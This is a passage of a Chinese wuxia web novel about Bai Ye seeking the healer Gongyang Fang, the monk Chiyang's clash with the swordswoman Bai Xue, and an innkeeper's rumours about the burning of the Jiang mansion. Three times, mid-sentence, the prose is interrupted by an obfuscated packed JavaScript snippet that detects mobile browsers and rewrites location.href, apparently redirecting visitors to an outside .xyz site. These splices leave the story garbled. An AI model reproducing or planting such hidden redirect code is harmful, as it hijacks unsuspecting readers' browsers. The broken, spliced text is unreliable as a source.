说完这些话后,机灵鬼和鬼机灵又抱着碗,蹦蹦跳跳地跑回了屋子。 “晚辈白野求见公羊方先生”,白野郑重地道。 “不见!”公羊方恼火的声音从大厅中传出。 “晚辈白野,求见公羊方先生!”白野不屈不挠。 “说了不见!趁早离去,莫要扰我!”公羊方再一次拒绝了白野。 “晚辈白萌萌后人白野,求见公羊方前辈!”白野说完后便跪了下来。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991022|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次大厅中没有传出公羊方的任何回应来。 “晚辈白萌萌后人白野,求见公羊方前辈!”白野重复了一遍。 公羊方依旧没有任何回应。 庭院之中此时显得异常安静,竹叶在微风的轻抚下发出沙沙的响声,几只虫鸣格外清脆地传进院子,围绕院子外围流淌的溪水声发出清脆悦耳的声音。 万籁俱寂。 机灵鬼和鬼机灵悄悄地将脑袋探出门外,两个脑袋一上一下地排列在门框边上。机灵鬼和鬼机灵的脑袋交替转动着,一下看向门外的白野,一下又看向大厅的方向。 突然公羊方从大厅中飞了出来,直冲向两扇竹编的矮门。公羊方接近矮门之时也并未减速,而是双掌一击,将竹编的矮门打了个粉碎,霎时间公羊方就到了白野的面前。公羊方的双掌在距离白野脸庞分毫的距离才停了下来,凌厉的掌风将白野的头发吹起。 “晚辈白野,求见公羊方前辈”,白野并没有躲闪,脸上丝毫没有畏惧之色。 “都见到了,还说什么求见?”公羊方收起双掌,转身背对着跪在地上的白野,将手背在身后。 “求先生救救此人”白野看着怀里的江心说到。 “哼!白萌萌是你什么人?”公羊方冷冷地问到。 “是我娘亲”,白野答。 “小杂种,果然还是随了母姓”,公羊方又冷冷地吐出一句。 “求先生救救此人”,白野又重复了一遍。 “你说救我便救吗?别说是你,就是你娘来了我也不救!”公羊方声音中带着怒意。 “凡持此金叶者,公羊方无所不应”,白野说着从怀中取出一片金色的枫叶来。 公羊方听闻此言,立刻转身向白野看去,但随后又恢复了背对白野的姿势。 “若是其他任何人持此叶子来求我,我公羊方无论何种要求皆可答应,唯独你这个小杂种不行!你还是回去吧!”公羊方说罢便向大厅走去。 “君子一言,驷马难追”白野重重喊到。 “可惜了,我公羊方并不是什么君子!”公羊方继续往前走去。 正当公羊方要走进大厅之时,一股浓烈的杀意从背后袭来。还未等公羊方转身,就听得一声清脆锐利的宝剑出鞘之声传来,紧接着便是一声音如洪钟的大喝,这大喝之声响彻云霄,声振林木,震得周围树木的树叶纷纷落下枝头! 公羊方转身看去,只见江心从白野的怀中飞出,正冲着自己而来。机灵鬼和鬼机灵见江心被白野扔向了公羊方,齐齐从房间中飞跃而出,两人同时接住了江心。 而白野则是宝剑横档,双手抵着剑身,宝剑剑身正与一只硕大的手掌撞在一起。那只手掌的力道之大,将白野手中的剑身撞击到弯曲起来。“雪轻”到底是天德老人打造的绝世宝剑,瞬间便将剑身恢复正常,而这巨大的弹力外加那只手掌的巨大力道,将白野向后推了数尺,方才稳住身形! 只见赤阳和尚收起手掌,双手合十,转头看向院子当中被机灵鬼和鬼机灵抱着的江心,双眼瞪如铜铃,浑身散发着浓郁的杀气!赤阳和尚没有理会被自己刚刚击退的白野,而是迈着步子向庭院走去。白野见状,翻身跃到了赤阳和尚的身前,举剑挡住了赤阳和尚。 与此同时,机灵鬼和鬼机灵抱着江心快速跑到了公羊方的身后,躲了起来。赤阳和尚双目圆睁,又出一掌,掌势迅疾,白野躲闪不及,被赤阳和尚向后击飞了起来。白野身子向后飞去,在将要飞进大厅之时,公羊方纵身跃起,将飞在半空中的白野接住,落回到地面。 赤阳和尚又开始踏着步子向大厅的方向走来,公羊方不慌不忙,将一枚黑色的金属铁片投向赤阳和尚,铁片在赤阳和尚的脚前钉入地面。赤阳和尚停下了向前迈动的步伐,眼睛向下瞥去。 “夜鸦令你总该认得吧?给我出去!”公羊方呵斥到。 赤阳和尚弯腰,将地面上的令牌捡起来仔细观瞧,“你怎么会有这个?”赤阳和尚问到。 “夜鸦令出现,如同夜鸦阁宗主亲临,赤阳和尚,你要违抗命令吗?”公羊方眼神凌厉地看着赤阳和尚。 “哼!”赤阳和尚发出一声冷哼,将夜鸦令牌握在手中,只是轻轻一拧便把这令牌拧成了碎屑,随后赤阳和尚将手中令牌的碎屑重重丢向地面。公羊方谨慎地看着这个和尚,准备随时与之对战。而赤阳和尚则是双手合十念了一句“阿弥陀佛”后,便缓缓转身走出了院子。 8. 约三章宝剑奉公羊,度亡魂白雪斗赤阳 那赤阳和尚走出院子,一只脚向着地面猛地跺了下去,立时,和尚硕大的身体便如弹弓弹射出去的石子一般,离地而起,向庭院前方的林子飞去,转眼便到了林子的尽头。而随着赤阳和尚跺向地面的这一脚,一股强大的气浪由和尚脚底向四周扩散而去,将庭院的篱笆墙和庭院周围的花草摧枯拉朽一般撕扯成碎片。 赤阳和尚瞬时便到了崖底,双掌猛地击向崖壁,那双手竟如刀剑穿透宣纸一般,轻易便嵌进了崖壁!赤阳双臂发力,向下拉扯,身子如穿云之箭直直地向上飞去,穿过缭绕的薄雾,于崖顶消失不见,只是在坚硬的崖壁上留下两个深深的手印。 “白野小子,限你三日内携江家三子人头,返回鸦巢,面见宗主,否则,夜鸦追杀令一出,覆水难收!”赤阳的声音如同雷鸣一般从崖顶传来,回荡在谷中。 见赤阳和尚离去,公羊方这才松开一直抓着白野肩膀的手。“这个煞神!”公羊方看着满园狼藉的景象怒气冲冲地道。公羊方说完后便转身向厅内走去,却被正躲在他身后抱着江心的机灵鬼和鬼机灵挡住了去路。“你们还抱着他作甚?”公羊方无奈地绕开机灵鬼和鬼机灵,走向后厅。机灵鬼和鬼机灵互相看着对方,眼睛眨巴着。 “这个人怎么办?”机灵鬼看着江心道。 “师父没说怎么办呀!”鬼机灵满脸愁容,“要不把他丢到谷壑当中?”鬼机灵似乎想到了一个绝妙的点子一样说到。 “怎么能乱扔呢?”机灵鬼腾出一只手来,在鬼机灵的脑壳上使劲敲了一下。 “那可怎么办呀?”鬼机灵又满脸愁容。 机灵鬼和鬼机灵正抓耳挠腮,不知如何是好的时候,白野走到了二人身旁,从二人的手中把江心抱了回去。就在白野抱着江心将要走出大厅之时,公羊方从屏风后走了出来。 “你要去哪里?”公羊方道。 白野停下脚步,微微侧首,向后看去,并没有说什么,随后便又向门外走去。 “被那煞神摧杀的花草,你要给我重新种好,还有这被毁的篱笆,你也要给我修好,之后才能离去。”公羊方慢悠悠地说到。 白野抱着江心转过身来,看向公羊方。公羊方缓步坐到了大厅正面的椅子上。 “要我救人也可以,只需你答应我三件事,你能做到,我便救这小子。”公羊方说到。 “哪三件事?”白野问到。 “这第一件,将你手中的雪轻剑给我。”公羊方随手拿起放在身旁小桌上的蜜饯,丢进嘴里。 白野低头看向自己手中的宝剑,沉默不语。 “怎么?舍不得?那便算了。”公羊方说着便准备起身离开,不想白野却立即将手中紧握的“雪轻”丢向了公羊方。公羊方接住“雪轻”,随便放在了身边的桌面上,连看都不多看一眼,“这把剑是你娘留给你的吧?”公羊方看着白野。见白野没有作答,便又看向白野怀中的江心,“这小子是什么人?” “公羊方只求医资”,白野答到。 “好,老夫的规矩,从不问所来求医之人的来历”,公羊方道。 “第二件事?”白野说到。 “这第二件事,我要你去杀了我的师弟,凡谷子!”公羊方说到。 “好,第三件?”白野不假思索便答应了下来。 “这第三件嘛,老夫暂时还没有想好,待日后老夫想好了再讲不迟。”公羊方回答到。 白野睫毛微微动了一下,道了声,“好”。 公羊方起身,随手将放在桌面上的雪轻剑丢向机灵鬼,并嘱咐到,“是个好的砍柴用具,把它丢到柴房去吧”。机灵鬼接住宝剑,遵照公羊方的嘱咐,抱着剑走出大厅,往柴房去了。鬼机灵则是屁颠屁颠地跟在机灵鬼身后,也跑了出去。 这赤阳和尚是怎么追到这沧溟雪山的呢?这便要回到赤阳烈火焚江府之时说起。 是日,江府的大火已经焚烧至丑时时分,火势越来越大,丝毫不见有减弱之势。狂风呼啸,夜色如墨,冲天的烈焰好似一头头张牙舞爪的巨兽,从府邸的各个角落疯狂蹿起,贪婪地舔舐着亭台楼阁、门窗梁柱。噼里啪啦的燃烧声,宛如恶魔的咆哮,在寂静的夜里传得极远。气势恢宏,尽显富贵奢华的江府,此刻正被这片狰狞的火光所蹂躏。火舌肆意蔓延,顺着屋檐和回廊,一路席卷而去。原本华丽无比的琉璃瓦,在高温下渐渐扭曲变形,发出“滋滋”的声响,随后纷纷炸裂,如陨石般坠落地面。清澈见底的池塘,被火光映得通红,水汽蒸腾,仿佛要被这大火煮沸一般。滚滚浓烟如黑色的巨龙,在夜空中翻卷升腾,将月光和星辰遮蔽得严严实实。升腾的烟雾中,不时有火星飞溅,如同点点流萤,向上飞跃,然后再消失不见。大火越烧越旺,势必要将这座府邸从世间彻底抹去…… 火势早已将江府的大门一起吞噬,原本盘坐在江府大门悬山顶上的赤阳和尚,此时已经盘坐在江府大门前不远处的地上,依然在不断诵经。这赤阳和尚念的经文并不是佛家原有的任何经文,而是他自己撰写的两部名曰《来去往生净魂咒》和《渡厄往生咒经》的经文。在赤阳和尚看来,他的这两部经书可以超度亡魂,助其早登极乐,脱离苦海。在犹如汹涌海浪一般的火焰声中,赤阳和尚的经文如同幽灵一般,飘荡在火海上空。 来去往生净魂咒: 茫茫尘世,生死无常。魂兮飘荡,苦乐无常。今持妙法,超度亡殇。 阴阳交错,幽途黯黯。魂陷迷津,心困苦难。念彼慈悲,寻解脱岸。 燃智慧灯,照破幽冥。祛诸烦恼,净彼心灵。诸般孽障,化作无形。 梵音袅袅,回荡虚空。涤荡宿业,安稳魂踪。业风不起,心波不汹。 四大皆空,五蕴非有。悟此真理,无喜无忧。放下执念,解脱自由。 往生乐土,七宝为楼。莲池澄澈,花香悠悠。常闻妙法,佛光照眸。 脱离轮回,永离悲愁。清净自在,逍遥千秋。愿以此力,度众魂游。 此经诵念,心怀诚敬。诸般亡魂,皆得安宁。超脱苦海,往生新程。 …… 渡厄往生咒经: 混沌初开,阴阳始判,生死轮转,魂灵飘幻。众生殁后,多陷迷乱,冤结难消,苦厄纠缠。今传妙经,度化魂黯。 冥冥黄泉,迷雾深掩,亡魂徘徊,心惧且颤。业障随身,苦熬岁年,悲泣之声,回荡幽渊。 持此真经,诚心祈愿,无量光明,破诸黑暗。慈悲之念,如日高悬,照彻幽冥,罪业皆散。 六根清净,诸念不牵,贪嗔痴恨,化作尘烟。心无挂碍,灵台空明,脱离苦海,自在安然。 梵唱声声,灵音婉转,引领亡魂,至善之岸。金莲绽放,祥瑞弥漫,往生善界,福泽绵绵。 轮回解脱,苦难尽完,永享静谧,不复忧烦。功德圆满,天地同欢,愿此圣力,护佑魂安。 一心诵持,万邪不犯,诸魂得度,往生无憾。 …… 正当赤阳和尚的经文越诵越快之时,一个一袭白色长袍的女子飘飘然从天而降,衣袂轻盈飘逸,随风舞动,腰束黑色丝绦,饰青绿玉佩,宛如仙女下凡。女子脚尖轻轻点地,站在了赤阳和尚的身后。 这女子发如银霜,脸若明月,眉如远黛,眸似星辰。一根蓝色的丝带轻轻束起几缕发丝,丝带的末端在风中摇曳,如同灵动的蓝色火焰。女子红唇微微上扬,似笑非笑,透着一股神秘莫测的气质。仔细看去,这个女子与冷如月长得一模一样,但是气质却截然不同。 白衣女子手持一把黑色的长剑,剑身狭长,剑柄上镶嵌着一颗蓝色的宝石,宝石在火光下闪烁着幽冷的光芒,剑鞘上赫然刻着“月落”二字。这女子手持的宝剑同“雪轻”和“叶寒”一样,也是天德老人打造的绝世神兵之一——月落剑。 天德老人一生共打造了十二把神兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991023|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利器,其中铸剑九把,分别是清风剑、沐雨剑、曲荷剑、雪轻剑、月落剑、夜寒剑、云惜剑、缘灭剑和一把叫做归去的短剑。另有一口刀,名曰“孤还”;一杆枪,名曰“无念”;正所谓“风花雪月云雨夜,缘灭无念人孤还。归去也。”(夜寒所以改名为叶寒之事,以后再表,此处我们先说这十二神兵的来去。) 尽管当年天德老人打造完以上这些神兵之后,便发誓此生再不锻铸兵器,可还是因为一个女子破了誓言,最后打造了那双“栖霞金乌环”。据说在打造完那双“栖霞金乌环”不久之后,天德老人便与世长辞了。时过境迁,这些兵器在江湖中几次易手,已经很少有人再见到过它们了,不过那柄叫做“归去”的短剑,所有人都知道被天德老人带进了自己的墓穴当中。 “赤阳和尚,宗主让我来告诉你,白野和江家三子去了沧溟雪山。”一个冷艳的声音从赤阳的背后传来。 赤阳并没有理会背后的女子,依旧在自顾自地念诵着经文。 “真是有意思,一个杀人如麻的假和尚,却也为那些不知真的有无的灵魂念什么经?若这世间真的有鬼魂存在,那么来寻你赤阳复仇的鬼魂聚在一起,怕是要怨气冲天了!”白衣女子说着将手中“月落”的剑鞘甩了出去,剑鞘挟风带飒,速度极快,直奔赤阳和尚的后脑而去! 赤阳单掌击地,盘坐着的整个身体向上飞了起来,轻松躲过“月落”的剑鞘。未等剑鞘彻底飞过,赤阳和尚一只脚已经从盘坐的姿势中落下,将剑鞘一脚踢了回去。赤阳的这一脚破坏了剑鞘直飞的状态,开始在空中旋转着向那白衣女子袭去。白衣女子一个转身卸掉剑鞘迅猛之力,将剑鞘擒在了手中。白衣女子刚刚抓住剑鞘,赤阳和尚便已经冲到了身前。顿时,白衣女子和赤阳和尚二人战在一起! 赤阳和尚袒露的右肩肌肉贲张,一双蒲扇般的大手掌风凌厉,手掌上隐隐有气流涌动,似有千钧之力。赤阳和尚大喝一声,一掌向白衣女子劈了过去,和尚声音低沉而洪亮,如同洪钟大吕在天地之间回荡。白衣女子身形一闪,躲过这致命一击,与此同时,手中长剑化作一道银芒,直刺向赤阳和尚咽喉! 赤阳和尚不慌不忙,双掌齐出,右掌如盾,硬接长剑,左掌如锤,向着女子面门击去。“月落”与肉掌相交,竟发出金铁交鸣之声,若是寻常刀剑此刻早已裂为碎片。剑被挡下,铁掌又奔自己面门而来,白衣女子身形在空中一扭,如柳絮般飘向一旁,躲开了赤阳的一击。 赤阳和尚紧追过来,双掌连环拍出,掌风呼啸,如怒涛拍岸,每一击都蕴含着排山倒海的力量,周围的树木在掌风的冲击下,枝叶纷飞。白衣女子身形灵动,在掌风间穿梭自如,她看准时机,长剑一抖,挽出数朵剑花,剑剑指向赤阳和尚周身要害。剑花闪烁,如星芒点点,让人眼花缭乱。瞅准时机,白衣女子一剑再刺向赤阳和尚咽喉,而赤阳和尚则大喝一声,双掌猛然合十,竟将女子的长剑夹在双掌之间。 赤阳和尚用力一扭,试图夺下女子的长剑。白衣女子感受到了来自剑身的旋转之力,飞起一脚,直踢赤阳和尚胸口。这一脚似有雷霆之力,竟将赤阳和尚踢得松开长剑,往后退了一步!白衣女子与赤阳和尚对峙而立,二人皆面色凝重地看着对方。此刻夜晚显得极其安静,只有江府宅院燃烧的火声嘶吼。几乎是在同时,白衣女子将剑收入剑鞘,赤阳和尚也收起了双掌上微微流动的气流。 “白雪,若非宗主重视于你,贫僧我必杀你!”赤阳和尚道。 “赤阳,想要杀我,那也得看你有没有那个本事了”白衣女子不以为然地答道。 “哼!”赤阳留下一个冷哼纵身飞离了此地。 白雪看着火势汹汹的江府,若有所思,这火当真不是点燃了新的恩怨情仇?灭门?真的可以灭的干干净净吗?随后白雪也纵身离去,只留下还在熊熊燃烧的江府府邸,似乎这炽热的大火会永远燃烧下去,永远不会熄灭。 9. 火炼狱倩影出生天,雨霭天中官下江南 夜色沉沉,这已经是江府这场大火肆虐的第三个夜晚。这座曾经气势非凡的府邸,如今早已消失不见,布满灰尘和焦炭的府宅地基上方,弥漫着令人心悸的死寂。可以燃烧的任何东西早已燃烧殆尽,大火渐入衰败的终章。 火势趋于熄灭,好似一头垂死挣扎的猛兽,渐渐没了声息。偶尔会有一些细小的砖石碎片掉落,发出“簌簌”的声响,在这寂静的夜晚显得格外突兀。死寂、黑暗、悲伤共同笼罩着这座宛如被遗忘的坟墓一样的废墟。 天色破晓之时,江府的火势基本已经熄灭,只剩下一些微弱的火苗还在顽强地跳动着。烟雾在轻微的气流中缓缓游动,似乎是不愿离去的冤魂,在这片废墟上徘徊不散。偶尔有几缕微风拂过,试图吹散这飘荡的烟雾。风中夹杂着火星,在晨光中闪烁着细小的光芒,如同一颗颗即将消逝的星辰。随着风的吹拂,那些还未完全熄灭的余火,时而闪烁几下,试图重新燃起火焰,但终究还是渐渐熄灭。 一个青色的身影从后厅院落中的井口跃了出来,那人手中握着“叶寒”的剑鞘,虚弱地靠在已经被烧黑的井口之上,正是躲过一劫的杜可儿。看着犹如被浓稠的墨水泼洒过的江府废墟,杜可儿的眼神略显空洞。 这几日,嘶吼的火声和木料瓦石破裂的声音不断由井口传入她的耳朵,以至于如今这近乎窒息的安宁正犹如黑洞一般吞噬着她。杜可儿终于缓了过来,吃力地走在这死气沉沉的废墟之中,被幽灵似的烟雾呛得直咳嗽。脚下一碰即碎的焦黑残骸,已经分不清这曾是人的遗骸,还是那些曾支撑着府宅的名贵木料。 太阳露出了小半边脸,红彤彤的,正一点一点地挣脱地平线的束缚。当杜可儿走出废墟,脚步终于踏上江府之外的土地上之时,太阳已经完全跃出了地平线,金色的光芒洒满了整个大地。杜可儿转身望去,化为灰烬的江府在阳光下依旧暗淡无比,仿佛吞噬了所有铺洒在其上的金色光辉。 若非这江明远当年为了哄江心母亲开心,将府邸周围二里有余的居民遣散,原先的府宅尽数推倒,全部种成了桂花树,那如今被烧的可就不止是江府这一处宅院了,如此大的火势,必然会波及左邻右舍。不过令人啧啧称奇的是,这围绕着江府的桂花树林却并没有被那大火严重波及,除了靠着江府宅院近处的一些树被火焰烧着之外,其余的桂花树皆安然无恙。 杜可儿拖着沉重的步伐,走在这桂花树林中间的石道上,距离江府越来越远。 杜可儿走到长苏城街头,想要寻一处店家果腹,这几日躲在井下,腹中早已空空如也。可极目望去,平日里热闹非凡的大街,此刻一片死寂。铺天盖地的黄色符箓几乎贴满了所有建筑,被风席卷到空中的纸符比落叶还要多上几分。 不知什么时候,天色变得黯淡起来,不一会儿,阴云便沉沉地压在了古老城池的上空,为这诡异的氛围增添了几分阴郁。青石板路在黯淡天光下泛着冷硬的光,被风卷着的落叶和符箓,毫无目的地翻滚着。街边店铺都紧闭大门,那一块块招牌在风中摇曳,发出“嘎吱嘎吱”的声响,店铺门上的铜环在风中晃动,碰撞出单调而空洞的声音。 城市中央的集市,本是人群熙攘、叫卖声此起彼伏的地方。如今,这里空旷无人,摊位东倒西歪,被风掀翻在地,散落的杂物在地上凌乱地躺着。寻常巷陌间,家家户户的门窗都紧紧关闭。偶尔有几声犬吠从紧闭的院门后传来,声音中透着恐惧与不安,很快又归于寂静。 偶尔有几个行人匆匆走过,也是神色慌张,脚步仓促,不敢多做丝毫停留。街头巷尾,难以再见到行人的踪迹。杜可儿继续向前走去,一队急促而过的巡逻士兵们与她擦肩而过,似乎着急完成例行任务赶紧离开此地。 方才几日,这长苏城是怎么了?杜可儿不得其解。杜可儿见方才巡逻士兵们走来的方向,一家酒楼的伙计正在上板,想必是刚刚招待完那些巡逻的士兵。杜可儿快步走到伙计身边。 “小二,怎么这么早就上板啊?” 伙计看了一眼杜可儿并没有理会,而是自顾自地继续着自己手里的工作。 “我只买一碗素面”杜可儿说着掏出了一些碎银子,大概有一两左右。 “不卖不卖,快些离开。”伙计看都不看。 若在平时,这些银两可以好吃好喝一顿,可如今却连一碗面都买不来。杜可儿有些生气。 “你这伙计!明明刚刚做了生意,为何偏偏不理会我呢?” “赶紧走吧姑娘,小店不做生意了”酒楼店掌柜从酒楼里边走了过来,连连向杜可儿作揖。 “送上门的生意,为何不做?”一个阴柔的声音从杜可儿的耳边传来,与此同时,一只纤细的手轻轻放到了店小二举起的木板上,将木板压了下去。 “这位小姐,这位官人,小店当真不做生意了,还望二位高抬贵手!”店掌柜神情闪烁,似乎有难言之隐。 “今天这饭,我还非吃不可了”阴柔的声音变得严厉起来,纤细的手指轻轻往下一弹,小二手中的木板便折成两段,掉落在地上。酒楼店掌柜看着这个阴柔的男子,心想来者不善,便不敢多言。 杜可儿看向身边的男子,脸庞白皙,眉毛细长,眼角微微上挑,眸中流转着狡黠与机灵,身材修长而纤细,双肩窄窄,线条柔和,腰身纤细如柳,手指犹如青葱,举手投足间尽显优雅与细腻,却又透着一股难以言说的阴柔之气。跟着这阴柔男子的,另有四名同时透着英气与阴柔的男侍从,腰间皆挂着莲花纹饰的佩刀。 这刀难不成是宫中御械司番子的佩刀?那么这群人想必就是御械司的宦官番子了,杜可儿想。不过杜可儿装作不知这些人的来历,应和道:“就是,这饭,本姑娘今天也非吃不可了!少侠先请。”杜可儿做出一个礼让的姿势请那名阴柔男子先进。 “还是姑娘先请”,阴柔男子浅笑了一下,为杜可儿让开道路。 “那便恭敬不如从命”,杜可儿道。 杜可儿迈步走进酒楼,向着二楼走去。阴柔男子和四名侍从随后也进店,走向二楼。 这酒楼二楼本来视野极佳,若将窗户打开,窗外远山明湖,垂柳芦花,是个极好的观景之处。可如今这二楼窗户紧闭,一片黯淡之色。杜可儿挑选了一个靠窗的位置坐下,顺手打开了窗户,一股清凉之气从窗外冲进屋子。那几名御械司番子也同样坐在了靠近窗户的位置,并把窗户打开。二楼顿时明亮了许多。 不一会儿,窗外开始淅淅沥沥地下起了小雨,湖面雾气萦绕,楼阁烟雨霏霏。众人顿时都有心旷神怡之感。 见众人都不好惹,店家无可奈何只得招呼几人。 “客官,请问您几位要吃些什么?”店掌柜问到。 “清蒸白鱼,狮子头,荷叶粉蒸肉,油爆虾,白什盘,桂花糕,海棠糕,再来一碗三虾面”,杜可儿一口气说到。 店掌柜听罢,一脸错愕地看着杜可儿,“姑娘,你一个人,吃得完吗?” “那不用你管,你只管上菜便是”,杜可儿将一小锭银子放在桌面上。 店掌柜又看向那几位御械司番子。 “就照那位姑娘的,也给我们来一份。面要一人一碗,外加二斤好酒。”为首的那名阴柔男子说到。 店掌柜听罢,招呼着小二便下楼去了。未几,满桌珍馐便都上齐了,杜可儿丝毫不顾及自己的形象,开始狼吞虎咽起来。那名阴柔的男子则是向店掌柜打听,此地为何街巷无人,符箓满天? 店掌柜道:“这长苏城位于咱们昭华国的瀚江之南,乃是我国最为富庶的所在,素有“江南盛景冠天下,富甲千秋溢九州”之称。名满天下的浪荡书生郑穆清更是专门写诗赞美过此地,客官您看”,店掌柜指着墙上的一首题诗,“这便是那郑穆清的手迹”。 只见墙上一幅用草书写就的题诗已经有些掉色: 水畔楼林映彩光,墨韵书香绣文章。 金台旧梦韵悠悠,古邑新姿诗朗朗。 园林巧盛织艺境,丝管轻飘绕华梁。 山川锦绣堆盛景,长街炫彩逐时赏。 茶香飘巷千家富,丝绸盈街万户昌。 百舸争流帆竞发,富聚四海客旅忙。 画栋雕梁焕彩丽,菱歌阵阵绮梦藏。 不问兴替风流在,佳韵如潮醉客郎。 店掌柜接着说到:“这前几日呀。咱们这长苏总督江明远的府邸,突然满门尽灭,那江府之中可以说血流成河,惨绝人寰。最奇怪的是,给那江府送菜的刘三和巡捕刘志成竟然看到一个恶鬼降临江府,想必一定是那恶鬼索命,杀的江府全家。”店掌柜面色凝重。 “你又怎知是恶鬼不是人呢?”那为首的阴柔男子又道。 店掌柜似乎是怕那所谓的恶鬼听到,向那阴柔男子靠得近了一些,压低声音道:“那恶鬼一瞬之间便让江府陷入火海,若是寻常人等,如何能做到?据说那恶鬼面相丑陋,身高一丈有余,皮肤青黑,一头赤发,双目似火,满嘴獠牙,最喜吸人骨血,食人骨髓,尤喜是三岁以下孩童,凡所见者,皆生吞活吃……这不,满城都贴满了符箓,大家都紧闭门窗,不敢轻易出门了!晚上除了例行公事巡逻的兵士们,就连更夫都不敢上街打更了。”店掌柜说着脸上露出了恐惧之色。 “竟有这等事?”为首的阴柔男子故作震惊地问到。 “是呀,这江府的大火烧了好几天。如今这江府的烈火,把这长苏城的繁华与热闹也一并烧尽了。”店掌柜叹息着说到。 “这刘三和刘志成二人是亲眼所见那恶鬼吗?”阴柔男子的一名侍从问到。 “可不,就是这个江府灭门惨剧发生的当天,每日给江府送菜的菜农刘三,赶着牛车像往常一样去给江府送菜。以往可以进出的江府后门,这天刘三怎么敲门都敲不开来。无奈之下,刘三只得赶着牛车转向江府大门。可当刘三赶到江府大门之后却发现,江府大门洞开,府中安静异常,也不见了平时守在门口的家丁,门房的王老汉更是怎么叫都不见应声。刘三叫了一阵见无人应答,便奓着胆子,走上了江府门前的踏跺。”店掌柜绘声绘色地说着。 “刘三往江府里边瞧去,江府庭院满目苍夷、血流满地、横七竖八的尸体到处都是。当时刘三大惊失色,如同惊弓之鸟一般赶着牛车就快速离开了江府。在回去的路上,刘三刚好撞见了巡捕刘志成,便将自己所见的情况同刘志成说了一遍。这刘志成哪里会信刘三的这些浑话,堂堂总督大人的府邸怎么可能这么悄无声息地就被灭门了呢?再说谁有这么大的胆子?谁又有这么大的能力?无奈刘三神色慌张,几乎是哭天抢地地要刘志成相信自己所说的是事实,要赶紧报官。刘志成见刘三如此,便将信将疑地拉扯着刘三又去了江府。”店掌柜接着说到。 “刘志成和刘三小心翼翼地在江府大门外向里边张望着,府中惨绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991024|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的景象让刘志成也倒吸一口凉气!江家这总督府灭门可谓是通天的大事,刘志成不敢怠慢,赶紧拉着刘三离开,准备前往长苏巡抚府衙报告此事。就在二人刚刚跑进桂花林不远之处,便看到一团猩红色从天而降,稳稳落在了江府之外,随即便走进了江府。刘志成和刘三二人不敢声张,便躲在林中偷偷看向江府方向。很快那团猩红色又突然一下子就出现在了江府大门的悬山顶上!这次刘志成和刘三二人细细观瞧,看见的便是一个青面獠牙的魁梧身形。随后就见那个赤发鬼一声大喝,声音是振聋发聩,瞬间就点燃了整个江府!”店掌柜滔滔不绝,犹如说评书一般讲到,“这长苏城呀,从此就陷入了一场漫长的噩梦”,店掌柜补充到。 “我说店掌柜,你当真觉得是恶鬼所为呀?难道不能是什么仇家寻仇?”那阴柔男子的又一个侍从问到。 “其实吧,我也没那么笃信,可满城风雨,都这么传,咱宁可信其有,不可信其无呢”,饭店掌柜不好意思地笑着说。 “那这恶鬼又是从何而来呢,坊间可有传闻?”阴柔男子问到。 “当日呀,江府被恶鬼灭门的消息,不到半日便传遍了整个长苏城。口口相传,众口铄金,一时间这江明远如何招致恶鬼的谣言出现了十几个版本,有的说,复仇恶鬼乃是来报当年的灭门之仇,众所周知,江明远年轻时闯荡江湖也曾留下很多江湖恩怨;也有的说,这是江明远当年的师门惨祸招致的恶鬼,毕竟当年江明远师兄弟反目,江明远出走师门,被视为叛离师门,曾掀起过一次不小的同门残杀的风浪;还有的说,这恶鬼乃是江明远当年不明不白遇害的挚友,若真如此,当年江明远定是与他的挚友有过什么恩怨,这咱们就不得而知了;还有的说,这是当年江明远远征漠北之时,因军中缺粮,屠城取食,以至于恶灵聚集,久久不化,如今化作这个恶鬼前来寻仇;还有的说,这恶鬼乃是当年江明远与另外几个当时声名显赫的大侠因天德宝物之争留下的恩怨,那叶寒剑、无念枪以及云惜剑不都在他江府之中吗?还有的说,这是江明远当年与武林中几位豪杰的秘籍之争带来的恶鬼,但这秘籍具体是什么,倒也没有人能说的清楚;还有的说,这恶鬼乃是江明远当初陷害的忠良,我觉得这个纯属子虚乌有,那江明远虽说江湖恩怨很多,可也算得上是一位忠良之臣;还有的说,这恶鬼乃是江明远当初西征杀的降卒幻化而成,哎哟,那西梁杀降的事至今想起都心有余悸,是有这个可能的;还有的说,这恶鬼其实是当年被江明远忘恩负义杀掉的恩公,如今前来寻仇,这我就不信了,从未听闻过江明远有什么恩人,都是听闻他帮了很多人;还有的说,这恶鬼是在报被斩情丝之恨,实则是当年江明远妻子的师兄,这个倒是极有可能,当年宋倩倩、江明远以及房子与的情感往事,天下谁人不知啊;还有的说,这恶鬼是那些被江明远夺去的江湖上各种神兵认主,不服从江明远而化为厉鬼作案……虽然猜测众多,可那恶鬼的外形却几乎都众口一词,都说那恶鬼是那般模样。”店掌柜如数家珍一般地对阴柔男